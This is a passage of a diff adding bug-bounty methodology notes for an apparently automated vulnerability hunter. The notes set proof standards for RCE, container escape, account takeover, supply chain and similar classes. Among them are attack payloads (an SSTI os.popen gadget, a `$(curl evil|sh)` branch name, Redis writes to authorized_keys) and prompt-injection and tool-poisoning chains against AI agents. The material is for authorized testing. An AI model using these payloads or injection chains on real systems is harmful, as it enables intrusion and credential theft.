+DISPROVEN (logged) → if confirmed and in scope, minimal LIVE_CANARY_CONFIRMED → report. Then **log
+the cleared axes and rotate the archetype**. Forever.
vault/00-doctrine/SEVERITY-GATE.md +245 -0
@@ -0,0 +1,245 @@
+# SEVERITY-GATE - The Hard Gate
+
+This is the gate every candidate must pass before it can become a finding report. It encodes Zion's
+P1 "holy-shit" impact taxonomy as **eight impact families**. For each family it states the **exact
+oracle** that counts as PROVEN, and the **v1 overclaim traps** that do NOT count.
+
+**The binding rule:**
+
+> Cyclops MUST NOT open a finding report unless the candidate is on a *demonstrable path* to one of
+> the eight families below, **and** the family's oracle has fired (per [[OPERATING-CORE#3-proof-labels-the-four-states-a-candidate-can-be-in|proof labels]]).
+> Anything below this bar - hardening notes, missing headers, blind reachability, info leaks without
+> impact - goes to the [[../04-cleared-axes/README|cleared-axes log]], **never** to a report.
+
+"Demonstrable path" means: at SOURCE_CONFIRMED time you can name the endpoint of the chain and it is
+one of these families. If the best honest endpoint is "attacker can read an object they shouldn't" -
+that is not on this list, and you stop and log it.
+
+---
+
+## Family 1 - Remote Code Execution (the crown)
+
+Covers: Unauth RCE, Pre-Auth RCE, Wormable RCE, RCE via Deserialization / File-Upload /
+Template-Injection (SSTI) / Command-Injection / SQLi-to-RCE, Reverse Shell, Web Shell.
+
+**PROVEN (oracle):** code we chose runs in the target process. The artifact is one of:
+- A callback to our listener (`curl`/DNS/TCP) from the target host, fired by our payload.
+- `id` / `uname -a` / `hostname` output returned through the exploit channel.
+- A file we wrote to the target FS from inside the target process (`/tmp/cyclops-$RAND`).
+- For wormable: the above **plus** a demonstrated propagation primitive (the same payload reaches the
+ next host with no new auth).
+
+**Does NOT count (v1 traps):**
+- "The deserializer accepts our object" - until a gadget chain actually executes, this is
+ SOURCE_CONFIRMED at best. *Reaching* `pickle.loads` / `yaml.load` / `ObjectInputStream` is a
+ hypothesis; a popped shell is the finding.
+- "SSTI: `{{7*7}}` reflected `49`" - that is template *evaluation*, not yet RCE. The finding is
+ `{{ cycler.__init__.__globals__.os.popen('id') }}` (or the engine's equivalent gadget) returning
+ command output. Expression eval alone goes no further than SOURCE_CONFIRMED.
+- "The upload endpoint accepts a `.php`/`.jsp`" - until the shell is *reached and executes*, you have
+ an upload, not RCE. Prove the webroot path is served and the handler runs.
+- "Command string is built from user input" - concatenation is a hypothesis; you need the injected
+ command's *output* or callback.
+
+---
+
+## Family 2 - Container / VM / Sandbox / Hypervisor Escape & Orchestrator Takeover
+
+Covers: container breakout, VM/sandbox/hypervisor escape, Kubernetes / Docker-socket takeover,
+kernel / bootloader / firmware compromise.
+
+**PROVEN (oracle):**
+- **Container/sandbox escape:** a read or write on the **host** filesystem or host process namespace
+ from inside the container (e.g. our canary file at `/host-canary` created from the container; a
+ process visible in the host PID namespace; reading the host's `/etc/shadow` via an escaped mount).
+- **Docker-socket / K8s takeover:** scheduling a pod/container we control on a node we should not
+ control, proven by command output from that node, **or** reading a cluster secret
+ (`/var/run/secrets/kubernetes.io/serviceaccount/token`) that grants cross-namespace action we then
+ demonstrate.
+- **Hypervisor escape:** guest-to-host code execution proven by an artifact on the host.
+- **Kernel/firmware:** a controlled kernel crash with attacker-controlled fault (ASan/KASAN/oops with
+ our pattern in RIP/registers), or a privilege transition to ring-0 capability demonstrated.
+
+**Does NOT count:**
+- "We are root *inside* the container." That is the starting position, not an escape.
+- "The container has `CAP_SYS_ADMIN` / a mounted socket." That is a misconfig *observation*; the
+ finding is the demonstrated breakout using it.
+- "Node-to-node lateral movement is theoretically possible." Demonstrate the second node or it is
+ SOURCE_CONFIRMED.
+
+---
+
+## Family 3 - Cloud / Identity Account Takeover & Privilege Escalation
+
+Covers: cloud (AWS/Azure/GCP) account takeover, IAM priv-esc to admin, cross-tenant / tenant-isolation
+break, SSO/SAML/OAuth bypass + ATO.
+
+**PROVEN (oracle):**
+- **Cloud ATO:** credentials (access key, session token, service-account JSON) retrieved **and** used
+ to perform an action we were not entitled to, proven by the API response (e.g.
+ `sts:GetCallerIdentity` returning a role we hijacked, then a `s3:ListBucket` on a bucket we should
+ not see - against *our own* canary resources where possible).
+- **IAM priv-esc:** starting principal A, end as admin/role B, proven by an action only B can take.
+- **Cross-tenant break:** reading or mutating **tenant B's** data while authenticated as **tenant A**
+ - with both tenants being *our own* planted accounts holding canary data. The artifact is tenant
+ A's session returning tenant B's canary.
+- **SSO/SAML/OAuth bypass:** a forged/relayed assertion or bypassed check that logs us in as a
+ *different* user (our second canary user), proven by that user's authenticated session.
+
+**Does NOT count (the biggest v1 trap):**
+- **"Injection reachable" ≠ "ATO completes."** A JWT with `alg:none` *accepted* by a debug endpoint
+ is not ATO until you forge a token for a *privileged* user and perform a privileged action with it.
+- "The OAuth `redirect_uri` allows an open redirect" - that is a redirect; ATO needs the *token/code*
+ captured and exchanged for a session.
+- "IDOR lets me read another user's profile" - cross-object read of low-value data is **not** a
+ tenant-isolation break unless it crosses a tenant trust boundary into material data. Most IDOR is
+ cleared-axes, not a finding. (This is the exact class v1 over-reported.)
+- "SAML response is not signed-checked in this code branch" - prove the forged assertion yields a
+ session; a missing check that some upstream guard catches is DISPROVEN.
+
+---
+
+## Family 4 - Secret / Key / Repo / Build-Pipeline Compromise
+
+Covers: JWT signing key / API key / private key / production secret / CI-CD secret compromise;
+source-repo / GitHub-org / Actions-runner / build-pipeline takeover.
+
+**PROVEN (oracle):**
+- **Secret exfil:** the actual secret value retrieved through the exploit channel (the signing key
+ bytes, the live API key, the `.env` contents) - verified live where safe by a *minimal* benign use
+ (e.g. the API key returns `200` on a `whoami`-style endpoint; the JWT key validates a token we sign).
+- **Repo/org takeover:** a write we land on a repo/org we should not control - a commit/branch/tag we
+ pushed to a protected target (against *our own* canary repo for replica proof), or a workflow we
+ caused to run with elevated `GITHUB_TOKEN` permissions.
+- **Actions-runner / pipeline takeover:** code execution on the runner proven by an artifact (callback
+ from inside the CI job, or exfil of `secrets.*` / the `GITHUB_TOKEN` to our listener). See
+ [[../01-archetypes/cicd-supplychain]].
+
+**Does NOT count:**
+- "This key *looks* like a secret in the JS bundle" - a string that matches a regex is a hypothesis.
+ Prove it is live and grants access (minimal benign call), or it is cleared-axes.
+- "The workflow uses `pull_request_target`" - that is a *risky pattern*; the finding is the actual
+ secret/token exfil it enables. Prove the injection executes in the privileged context.
+- "An expired / revoked / sandboxed test key." Dead keys are not findings.
+
+---
+
+## Family 5 - Supply-Chain & Dependency Compromise
+
+Covers: supply-chain / dependency-confusion / registry / artifact / signing-key compromise.
+
+**PROVEN (oracle):**
+- **Dependency confusion:** a package *we* published to a public registry under an internal name is
+ pulled and **executed** by the target's build/install (callback from the install/postinstall step,
+ proven against our own replica build). The artifact is the callback, not the namespace being claimable.
+- **Artifact/registry poisoning:** a malicious artifact we placed is consumed and run downstream,
+ proven by execution in the consumer.
+- **Signing-key compromise:** the signing key retrieved (Family 4 oracle) **and** a malicious artifact
+ signed-and-accepted by a verifier we don't control.
+
+**Does NOT count:**
+- "This internal package name is unclaimed on npm/PyPI." Claimability is SOURCE_CONFIRMED. Publishing
+ a benign canary package and observing the *target's pipeline pull and run it* is the finding - and
+ only against in-scope / owned pipelines. **Never** squat a name a non-consenting third party builds.
+- "The lockfile has a typo-squat-adjacent name." Adjacency is not consumption.
+
+---
+
+## Family 6 - Mass Data Exfil & Financial Impact
+
+Covers: mass PII / DB / payment-data exfil; financial theft / payment bypass / balance manipulation;
+ransomware / data-destruction paths.
+
+**PROVEN (oracle):**
+- **Mass exfil:** a query/endpoint returning bulk records across the authorization boundary, proven on
+ a replica seeded with canary PII - the artifact is the bulk canary set returned to an unprivileged
+ principal. (Live: prove the primitive with a `COUNT(*)` or a single canary row, never bulk-pull real
+ user data.)
+- **Financial:** a state transition that moves value - balance increased, a payment accepted at the
+ wrong price, a refund issued without debit - proven by the post-state on a replica/canary account.
+- **Data destruction/ransomware path:** a demonstrated unauthorized write/delete primitive on data we
+ planted, with the destructive step proven on a canary only.
+
+**Does NOT count:**
+- "The endpoint *could* return many rows if the `WHERE` were dropped." Demonstrate it.
+- "**Read DoS** / a slow query / a large response." A denial-of-service or resource-exhaustion read is
+ **not** RCE and not exfil. (Explicit v1 trap: do not dress up a DoS as a critical.)
+- "The price is set client-side." Client-side observation is a hypothesis; prove the server accepts
+ the manipulated value and the order/state actually changes.
+- "I can see *one* of my own orders." Not mass, not cross-boundary.
+
+---
+
+## Family 7 - SSRF / XXE / File-Access Chains to Critical
+
+Covers: SSRF→metadata / →internal-admin / →RCE; XXE→file-read; arbitrary file read of secrets;
+arbitrary file write→RCE; path-traversal→secrets.
+
+**PROVEN (oracle):**
+- **SSRF:** must terminate in impact, not just an outbound request. PROVEN = the metadata credential
+ retrieved (`169.254.169.254/latest/...` token *captured*), **or** an internal-admin action performed
+ via the SSRF, **or** SSRF→RCE chained to a Family-1 artifact. A bare OOB callback proves *blind
+ SSRF reachability* - that is SOURCE_CONFIRMED, not a finding on its own (see trap below).
+- **XXE / arbitrary file read:** the *contents* of a real secret file retrieved through the channel -
+ our canary at `/etc/cyclops-canary` for replica proof, or a genuinely sensitive file
+ (`/etc/passwd` is a demo, a signing key / `.env` is the impact) on a permitted target.
+- **Arbitrary file write→RCE:** the write lands somewhere that executes (cron, webroot, a `.so`/
+ `.pth`/startup path) and the execution fires a Family-1 artifact. The write alone is not the finding;
+ the resulting execution is.
+- **Path-traversal:** the traversal returns secret contents, per the file-read oracle.
+
+**Does NOT count (the canonical v1 trap):**
+- **"Blind SSRF confirmed by a DNS callback"** with nothing behind it. Per Zion's standing rule, never
+ submit enumeration / blind SSRF standalone - prove the full impact chain (metadata cred, internal
+ admin, or RCE). Blind callback → cleared-axes or keep-pulling, not a report.
+- "Traversal reads `/etc/passwd`." `/etc/passwd` is a *demonstration of the primitive*, not impact by
+ itself on a modern box. Pull a real secret to cross into a finding.
+- "File write to a `/tmp` no one executes." A write with no execution sink is SOURCE_CONFIRMED.
+
+---
+
+## Family 8 - Exposed Critical Service & Trust-Infrastructure Compromise
+
+Covers: the "exposed service" family - Jupyter / Redis / Mongo / Elasticsearch / Jenkins / Grafana /
+K8s-dashboard / Prometheus / Terraform-state / env-var exposure; **and** trust-infra compromise:
+MFA / password-reset / session-hijack / WAF bypass to a critical action; AD / domain-admin /
+golden-ticket / NTLM-relay; DNS / registrar / subdomain / email / BGP / CA / TLS-key compromise.
+
+**PROVEN (oracle):**
+- **Exposed service:** not "the port is open" - the **unauthed privileged capability exercised**. For
+ Jupyter, a notebook executing `os.system` (Family-1 artifact). For Redis, an unauthed write we then
+ turn into RCE (module load / cron / authorized_keys) or a secret read. For Terraform-state, the
+ *secrets inside the state* retrieved. For an exposed `.env`, the secret retrieved **and** minimally
+ validated live. The artifact is the capability, not the banner.
+- **Trust-infra:** the takeover demonstrated - a subdomain we now serve content on (dangling
+ CNAME claimed against *our own* canary), a password-reset flow yielding a *different* user's session
+ (our second canary user), an NTLM relay landing an authenticated action as the relayed principal,
+ a golden ticket authenticating as a domain principal in our lab forest.
+
+**Does NOT count:**
+- "Redis/Mongo/ES is reachable without auth." Exposure is the start. The finding is the data read or
+ the RCE landed. (Many "exposed service" reports are really just a port scan result - that is
+ cleared-axes until the capability fires.)
+- "Grafana is on the internet." Until you prove the unauthed read of a datasource secret or an
+ exploit, it is an observation.
+- "The reset token is predictable-looking." Predict it and take over the canary account, or it is
+ SOURCE_CONFIRMED.
+- "A WAF can be bypassed." A bypass that reaches a *non-impactful* endpoint is nothing; the bypass
+ must reach a critical action that then fires another family's oracle.
+
+---
+
+## Gate decision procedure (run this on every candidate)
+
+1. **Name the endpoint.** Honestly, what is the *best* impact at the end of this chain? Write it down.
+2. **Map it to a family.** Is that endpoint one of Families 1-8? If no → [[../04-cleared-axes/README|cleared-axes]], stop.
+3. **Identify the oracle.** What single artifact would prove it? If you cannot name an artifact, the
+ candidate is not yet SOURCE_CONFIRMED - it is a guess.
+4. **Check it is novel, not a sibling-CVE.** Run the [[../06-methods/NOVELTY-DOCTRINE|novelty check]]
+ *before* deep work.
+5. **Drive the oracle on a replica.** Artifact → REPLICA_CONFIRMED. No artifact → DISPROVEN + log.
+6. **Only now** may a report exist. And only if in scope may a LIVE_CANARY_CONFIRMED follow.
+
+> If you find yourself writing a report whose impact section says "could", "may", "potentially",
+> "an attacker might", or "this is likely exploitable" - you have failed the gate. Delete it and go
+> get the artifact, or log it DISPROVEN.
vault/01-archetypes/ai-agent-mcp.md +131 -0
@@ -0,0 +1,131 @@
+---
+archetype: ai-agent-mcp
+primary_gate_families: [1, 7, 3]
+---
+
+# Archetype - AI Agents, Tool-Runners & MCP Servers
+
+Targets: Open WebUI, Flowise, n8n, LangChain/LangGraph tool execution, LlamaIndex, AutoGPT-likes,
+and the explosion of **MCP servers**. The thesis: these systems exist to **turn model output into
+actions** - they run tools, eval code, fetch URLs, query DBs, exec shell. The whole product *is* a
+chain of trust-boundary crossings, and the field is months old, so the parsers, sandboxes, and
+allowlists are immature. This is a [[../00-doctrine/SEVERITY-GATE#family-1-remote-code-execution-the-crown|Family 1]] / [[../00-doctrine/SEVERITY-GATE#family-7-ssrf-xxe-file-access-chains-to-critical|Family 7]] / [[../00-doctrine/SEVERITY-GATE#family-3-cloud-identity-account-takeover-privilege-escalation|Family 3]] archetype.
+
+See: [[ml-model-loaders]] (inference backends behind these), [[devops-infra]] (often self-hosted),
+[[electron-desktop]] (desktop AI clients). Tooling: `test_mcp_server`, `mcp_tool_surface`,
+`test_ssrf_params`, `test_cmdi`, `test_ssti`.
+
+---
+
+## Principals & trust boundaries
+
+- **Principals:** the end user / prompt author, the **model** (untrusted output - treat model text as
+ attacker-controlled), tool/plugin authors, the **MCP server** author, connected data sources
+ (a fetched webpage, a RAG document, an email the agent reads), the host process and its credentials
+ (API keys, cloud creds, DB creds the agent holds).
+- **Core boundaries:**
+ 1. *Prompt / fetched content → model* (prompt injection; content the agent reads is attacker input).
+ 2. *Model output → tool dispatcher* (the model's chosen tool + args drive real actions).
+ 3. *Tool → OS / network / DB* (code-exec tools, HTTP-fetch tools, DB tools).
+ 4. *MCP client ↔ MCP server* (tool definitions and results cross a process/network boundary -
+ **tool-poisoning**: a malicious tool *description* manipulates the calling agent).
+- **The defining insight:** in an agent, **untrusted data and the control plane share a channel**.
+ A RAG document or a fetched page can contain instructions the model obeys → the model calls a
+ dangerous tool → real impact. Prompt injection is the *delivery*; the *finding* is the tool-abuse it
+ reaches.
+
+**Boundary map template:**
+```
+principals: prompt-author | model-output(untrusted) | tool-author | MCP-server | fetched-content | host-creds
+trust inputs: user prompt, RAG docs, fetched URLs/pages, email/file the agent ingests,
+ tool definitions (name/description/schema), MCP server responses, workflow JSON
+enforcement pts: tool allowlist, code-exec sandbox, URL/SSRF allowlist, auth on the agent's own
+ HTTP API, per-tool permission scoping, output filtering
+cross-boundary
+sinks: code-interpreter tool (exec/eval/PythonREPL) ; shell tool ; HTTP-fetch tool ;
+ SQL tool ; file tool ; the agent server's own unauth endpoints ; SSRF in the
+ model-provider/proxy config ; secret-returning tool reachable by prompt
+confusion
+hypotheses: "the code-exec sandbox is escapable / isn't really sandboxed";
+ "a poisoned tool description redirects the agent to a dangerous tool";
+ "the HTTP API has unauthenticated admin/exec routes";
+ "SSRF allowlist misses an internal scheme / metadata IP";
+ "prompt injection in a RAG doc reaches the shell tool"
+```
+
+---
+
+## Kill chains (each lands on a Gate family)
+
+### KC-1 - Unauthenticated server endpoints → RCE (Family 1) *(check this FIRST)*
+These products are *self-hosted web apps*, and many ship with weak/optional auth or unauth admin/exec
+routes. Before any prompt-injection cleverness, hunt the **HTTP surface** of the agent server itself.
+- **Sinks:** Flowise/n8n/Open WebUI routes that import workflows, run code nodes, set up credentials,
+ or hit `/api/v1/...` without auth; n8n's `Code`/`Function` node and Webhook→exec paths; LangServe
+ endpoints exposing tools without auth.
+- **CVE class:** the 2024 Flowise auth-bypass (unauth API via case/route-normalization), n8n code-node
+ RCE class, Open WebUI path issues. Find the *new* unauth route or the *next* normalization bypass.
+- **Oracle:** an unauthenticated request lands command output / callback → Family 1.
+
+### KC-2 - Prompt injection → dangerous-tool dispatch → RCE / exfil (Family 1 / 7)
+A RAG document, fetched webpage, or ingested file carries instructions; the model obeys and calls a
+**code-interpreter / shell / file / HTTP tool** with attacker args.
+- **Sinks:** `PythonREPLTool`, `exec`/`eval` in a code-interpreter, `ShellTool`/`Terminal` tool,
+ `requests`/`httpx` in a fetch tool (→ SSRF), file-read tools, DB tools (→ SQLi/exfil).
+- **The discipline:** the *finding* is not "the model can be prompt-injected" (that's the threat
+ model). The finding is the **artifact at the end of the tool call** - a callback from the code tool,
+ a secret read, a cross-tenant action. Prompt injection that reaches a *harmless* tool is cleared-axes.
+- **Oracle:** injected content causes the code/shell tool to fire our canary → Family 1; or the fetch
+ tool to hit metadata and *capture the credential* → Family 7/3.
+
+### KC-3 - Code-exec sandbox escape (Family 1/2)
+Many agents wrap the code tool in a "sandbox" (a subprocess, a restricted Python, a container). The
+sandboxes are usually weak. Escaping one is a clean Family 1 (and Family 2 if it's a container).
+- **Sinks:** the restricted-exec wrapper (RestrictedPython, `ast` allowlists, a thin subprocess
+ jail), the container the code runs in (then [[devops-infra]]/Family 2 escape mechanics).
+- **Oracle:** code that breaks out of the restricted env reaches the real OS / host → callback.
+
+### KC-4 - MCP tool-poisoning & SSRF→RCE (Family 1/7)
+MCP servers expose tools to a calling agent via tool *definitions*. A malicious/compromised MCP server
+can ship a tool whose **description** contains injection (the agent reads descriptions), or whose
+**implementation** does SSRF/command-injection on the args the agent passes.
+- **Sinks:** the MCP server's tool handlers (`test_mcp_server` / `mcp_tool_surface` to enumerate),
+ any handler doing `exec`/HTTP-fetch/file-access on tool args; the tool-description channel as an
+ injection vector into the *client*.
+- **Oracle:** a tool call lands command exec on the server (Family 1) or SSRF→metadata (Family 7/3).
+
+### KC-5 - Agent-held credential exfil & cross-tenant (Family 3/4)
+Agents hold powerful secrets (model-provider keys, cloud creds, DB creds, OAuth tokens). A prompt
+injection or a tool flaw that *returns those secrets* or *acts cross-tenant* is Family 3/4.
+- **Sinks:** any tool/endpoint that can read the agent's env/config/credential store; multi-tenant
+ agent platforms where one tenant's prompt reaches another tenant's tools/data.
+- **Oracle:** the secret retrieved + minimally validated (Family 4), or tenant-A session producing
+ tenant-B canary (Family 3).
+
+---
+
+## The dynamic oracle, concretely
+
+1. Self-host the target in a disposable container (`sandbox_create`) with **planted canary secrets and
+ a second canary tenant**. Pin version.
+2. Map the HTTP surface first (`discover_api_endpoints`, `test_unauth_access`) - unauth RCE beats
+ clever injection every time.
+3. For injection chains: feed a malicious RAG doc / fetched page / tool, and watch the *tool sinks*,
+ not the model's words. The proof is the callback / secret / cross-tenant canary - never the model
+ *saying* it will comply.
+4. REPLICA_CONFIRMED on the artifact; LIVE_CANARY only in scope.
+
+---
+
+## BORING traps - do NOT spend time here
+
+- **"The model can be jailbroken / prompt-injected."** That is the threat model, universally true,
+ and not a finding. The finding is the *tool-abuse artifact* it produces. A jailbreak with no
+ dangerous sink is cleared-axes.
+- **"The agent followed instructions in a document."** Same - only counts if it reached a gate sink.
+- **Prompt-injection that makes the model say something bad / leak its system prompt.** System-prompt
+ leak and "harmful text" are not [[../00-doctrine/SEVERITY-GATE|gate]] families. Hardening note.
+- **Hallucinated tool calls with no real effect.** No artifact, no finding.
+- **A code-interpreter that is *documented* as full-RCE-by-design and gated behind auth.** If it's an
+ intended authed feature, running code in it isn't a bug - the finding is the *unauth* or *escape*.
+- **Re-finding the public Flowise/n8n CVE on an old build.** Sibling-CVE; hunt fresh code.
vault/01-archetypes/cicd-supplychain.md +133 -0
@@ -0,0 +1,133 @@
+---
+archetype: cicd-supplychain
+primary_gate_families: [4, 5, 1]
+---
+
+# Archetype - CI/CD & Software Supply Chain
+
+Targets: GitHub Actions workflows (and GitLab CI / CircleCI / Buildkite), self-hosted Actions runners,
+package registries (npm/PyPI/Go/crates/Maven), artifact stores, signing pipelines. The thesis: the
+build pipeline is the **softest path to the crown jewels** - it holds `GITHUB_TOKEN`, deploy keys,
+cloud OIDC, signing keys, and registry-publish rights, and it *executes untrusted input by design*
+(PR contents, fork branches, dependency code). One workflow-injection or one confusable dependency
+compromises the org and everything it ships. [[../00-doctrine/SEVERITY-GATE#family-4-secret-key-repo-build-pipeline-compromise|Family 4]] / [[../00-doctrine/SEVERITY-GATE#family-5-supply-chain-dependency-compromise|Family 5]] / Family 1.
+
+See: [[devops-infra]] (Jenkins/Argo runners), [[ml-model-loaders]] (ComfyUI nodes), [[electron-desktop]] (plugin registries).
+Tooling: `audit_cicd`, `dependency_confusion`, `audit_supply_chain`, `clone_repo`, `joern_query`.
+
+---
+
+## Principals & trust boundaries
+
+- **Principals:** an external PR/fork author (untrusted), a dependency author, the **workflow** (runs
+ with repo/org tokens), the **runner** (the machine, often self-hosted and reused), the registry, the
+ consumers who install the artifact.
+- **Core boundaries:**
+ 1. *Untrusted PR/fork content → privileged workflow context* (the `pull_request_target` /
+ `workflow_run` trust elevation - the canonical CI bug).
+ 2. *Workflow expression → shell* (the `${{ }}` injection into `run:`).
+ 3. *Dependency name → install/build* (dependency confusion / typosquat / postinstall exec).
+ 4. *Job → self-hosted runner host* (a job escaping to the persistent runner machine).
+ 5. *Build → published artifact → consumers* (artifact/signing poisoning, the widest blast radius).
+
+**Boundary map template:**
+```
+principals: external-PR-author | dependency-author | workflow(holds tokens) | runner-host | registry | consumers
+trust inputs: PR title/body/branch-name/labels, fork code, issue comments, the dependency tree,
+ package names, workflow_dispatch inputs, artifact contents, tags/releases
+enforcement pts: pull_request vs pull_request_target, permissions: block, secrets scoping,
+ OIDC trust policy, environment protection rules, runner isolation, registry
+ namespace ownership, signature verification
+cross-boundary
+sinks: ${{ github.event.* }} interpolated into run: ; checkout of PR head in a
+ privileged trigger ; secrets.* / GITHUB_TOKEN reachable from injected step ;
+ npm/pip install of a confusable name ; postinstall/setup.py exec ;
+ self-hosted runner reuse ; publish/sign step
+confusion
+hypotheses: "this pull_request_target workflow checks out & runs PR code with secrets in env";
+ "an attacker-controlled github context field flows into run: unquoted";
+ "this internal package name is unclaimed on the public registry";
+ "the runner is self-hosted and not ephemeral → persistence";
+ "OIDC trust policy is too broad (wildcard sub/repo)"
+```
+
+---
+
+## Kill chains (each lands on a Gate family)
+
+### KC-1 - Workflow expression injection → secret/token exfil (Family 4) *(prime)*
+A workflow interpolates an attacker-controlled `github` context field (PR **title**, **body**,
+**branch name**, issue **comment**, label) directly into a `run:` shell step. Because `${{ }}` is
+substituted *before* the shell runs, a branch named `$(curl evil|sh)` (or backtick/`;` payloads)
+executes on the runner - with `secrets` and `GITHUB_TOKEN` in the environment.
+- **Sinks to CPG/grep across `.github/workflows/*`:** `run:` steps containing `${{ github.event.*.title }}`,
+ `.body`, `.head.ref`, `github.head_ref`, `.comment.body`, `.pull_request.*`; plus `actions/github-script`
+ with interpolated context.
+- **The high-value variant: `pull_request_target` / `workflow_run`** - these triggers run with the
+ **base repo's** secrets *and* (if the workflow checks out `github.event.pull_request.head.sha`) the
+ **fork's code**. That combination = untrusted code with full secrets = `pwn-request`.
+- **Oracle:** the injected step exfiltrates `GITHUB_TOKEN` / `secrets.*` to our listener (against our
+ **own** canary repo for the replica), or callback from the runner → Family 4 / Family 1.
+
+### KC-2 - Self-hosted runner takeover & persistence (Family 4 → 1)
+Self-hosted runners on public repos are dangerous: a fork PR can run code on a **persistent, reused**
+machine. Beyond the single job, the attacker can plant persistence, steal other jobs' secrets, or
+pivot into the network the runner sits in.
+- **Sinks:** any public-repo workflow with `runs-on: self-hosted`, non-ephemeral runner config,
+ shared runner caches/tool-dirs, secrets left on disk between jobs.
+- **Oracle:** command execution on the runner host + reading a *second* job's canary secret /
+ network pivot artifact → Family 4 / Family 1.
+
+### KC-3 - Dependency confusion / typosquat / install-time exec (Family 5)
+An internal package name (`@acme/internal-utils`, `acme-config`) is referenced but **not owned on the
+public registry**; the resolver pulls *our* public package of the same name and runs its
+`postinstall` / `setup.py` / build script.
+- **Sinks:** the install step, `package.json`/`requirements.txt`/`go.mod` names cross-checked against
+ public-registry ownership; `preinstall`/`postinstall`, `setup.py`'s top-level code, Go `//go:generate`.
+- **The gate discipline (Family 5 trap):** "the name is unclaimed" is SOURCE_CONFIRMED only. The
+ finding is publishing a **benign canary** package and observing **our own / the in-scope** pipeline
+ pull and execute it (callback). **Never** squat a name a non-consenting third party builds.
+- **Oracle:** the canary package's install-time callback fires from the target's build → Family 5.
+
+### KC-4 - Artifact / signing-pipeline poisoning (Family 5 → 4)
+A flaw lets a malicious artifact be published or signed and accepted downstream - a release step that
+trusts a fork-built artifact, a cache-poisoning of a shared build cache, or a leaked/forgeable signing
+key (Family 4) used to sign a malicious artifact a verifier accepts.
+- **Sinks:** the publish/release step, the signing step (cosign/sigstore/GPG key handling), shared
+ cache keys derived from attacker input.
+- **Oracle:** a malicious artifact we built is consumed-and-run downstream, or signed-and-verified by a
+ verifier we don't control → Family 5/4.
+
+### KC-5 - OIDC trust-policy over-breadth → cloud ATO (Family 3, bridges [[devops-infra]])
+GitHub Actions OIDC federates into AWS/GCP/Azure. An over-broad trust policy (wildcard `sub`, missing
+`repo`/`ref` condition) lets a fork or a different workflow assume a privileged cloud role.
+- **Sinks:** the IAM/role trust policy's `sub` condition vs the workflow that can mint the OIDC token.
+- **Oracle:** assuming the role from an unintended workflow + a benign privileged call → Family 3.
+
+---
+
+## The dynamic oracle, concretely
+
+1. Fork/clone the target into our **own** GitHub org as a canary (replica-first - never test injection
+ on a third party's live repo). Pin the workflow files.
+2. For KC-1: open a PR on the canary with a payload branch-name/title; watch our listener for the
+ token exfil. `audit_cicd` to enumerate injectable contexts first.
+3. For KC-3: `dependency_confusion` to map unclaimed names; publish a **benign** canary package to a
+ throwaway namespace and observe *our* pipeline (or explicitly in-scope pipeline) execute it.
+4. REPLICA_CONFIRMED on the exfil/callback artifact. LIVE only with explicit program permission, and
+ even then the canary must be benign and the secret a throwaway.
+
+---
+
+## BORING traps - do NOT spend time here
+
+- **"This workflow uses `pull_request_target`."** A risky pattern is not a finding - many are safe
+ (no checkout of head, no secret use). Prove the *secret exfil* artifact.
+- **"This package name is unclaimed."** Claimability is SOURCE_CONFIRMED; consumption-and-execution is
+ the finding. Don't report registry namespace squatting as if it were proven impact.
+- **"A pinned action could be updated to a malicious tag."** Hypothetical future compromise of a
+ third party is not your finding.
+- **Squatting / publishing against a non-consenting org's pipeline.** Forbidden - replica/own-org only.
+- **Secret-scanning regex hits in the repo.** A string that looks like a key is a hypothesis; prove
+ it's live (Family 4 oracle) or it's cleared-axes.
+- **Re-finding a public Actions-injection writeup's exact repo.** Sibling-CVE; hunt fresh workflows.
vault/01-archetypes/devops-infra.md +115 -0
@@ -0,0 +1,115 @@
+---
+archetype: devops-infra
+primary_gate_families: [1, 7, 8, 2]
+---
+
+# Archetype - Self-Hosted DevOps & Infra Services
+
+Targets: Jenkins, Grafana, Gitea/Forgejo, Redis, Jupyter, Argo CD/Workflows, MinIO, Metabase,
+Prometheus, Vault-adjacent tooling, Consul, Nomad, Harbor, Nexus. The thesis: these run with
+**high privilege at the center of an org** (they hold cloud creds, signing keys, DB access, and the
+deploy keys to everything), they are *meant* to execute things (pipelines, queries, dashboards), and
+self-hosters routinely misconfigure auth. A single unauth RCE here is a foothold into the entire
+estate - [[../00-doctrine/SEVERITY-GATE#family-8-exposed-critical-service-trust-infrastructure-compromise|Family 8]] / [[../00-doctrine/SEVERITY-GATE#family-1-remote-code-execution-the-crown|Family 1]] / Family 7 / Family 2.
+
+See: [[cicd-supplychain]] (Jenkins/Argo overlap), [[ai-agent-mcp]] (often co-hosted).
+
+---
+
+## Principals & trust boundaries
+
+- **Principals:** unauthenticated internet/intranet caller, low-priv authenticated user, the service
+ process (holding cloud/DB/signing creds), the host & the orchestrator (Docker/K8s) it runs on.
+- **Core boundaries:** *unauth → service* (the exposed-service problem), *low-priv user → admin
+ capability*, *service → host/orchestrator* (a query/pipeline that reaches the OS or the K8s API),
+ *service → the credentials it holds* (SSRF/template/file-read that dumps the cloud creds).
+
+**Boundary map template:**
+```
+principals: unauth-caller | low-priv-user | service-process(holds creds) | host/orchestrator
+trust inputs: HTTP API params, dashboard/query definitions, pipeline/job configs, datasource
+ configs, template strings, uploaded plugins, webhook payloads, the auth token itself
+enforcement pts: authn/authz on each route, the query/datasource sandbox, template sandbox,
+ SSRF allowlist, the service-account scope, RBAC
+cross-boundary
+sinks: groovy/script console (Jenkins), datasource URL fetch (Grafana SSRF),
+ SQL/native-query (Metabase), MODULE LOAD / CONFIG SET (Redis),
+ notebook exec (Jupyter), workflow templates (Argo), git hooks (Gitea),
+ the cloud-cred env/metadata the service can reach
+confusion
+hypotheses: "an admin route is reachable unauth via path normalization";
+ "the SSRF allowlist misses 169.254.169.254 / a redirect / DNS-rebind";
+ "a low-priv role can reach a script/query sink";
+ "default creds / no creds on the management port"
+```
+
+---
+
+## Kill chains (each lands on a Gate family)
+
+### KC-1 - Unauth or default-cred RCE on the exposed service (Family 8 → 1)
+The bread and butter. The service is reachable without (real) auth and exposes an exec primitive.
+- **Per-target sinks:**
+ - **Jenkins:** the Groovy *script console* (`/script`), the CLI deserialization channel, agent
+ protocols; pipeline `sh` steps. (Cite the Jenkins CLI/Groovy RCE class.)
+ - **Redis:** unauth `CONFIG SET dir/dbfilename` → write cron / `authorized_keys` / a webroot file;
+ `MODULE LOAD` → native RCE; replication-based module load. (Cite the Redis-unauth-RCE class.)
+ - **Jupyter:** an open notebook server (no token) → `os.system` in a cell.
+ - **Metabase:** unauth setup-token → DB connection → H2/native-query RCE (cite the Metabase
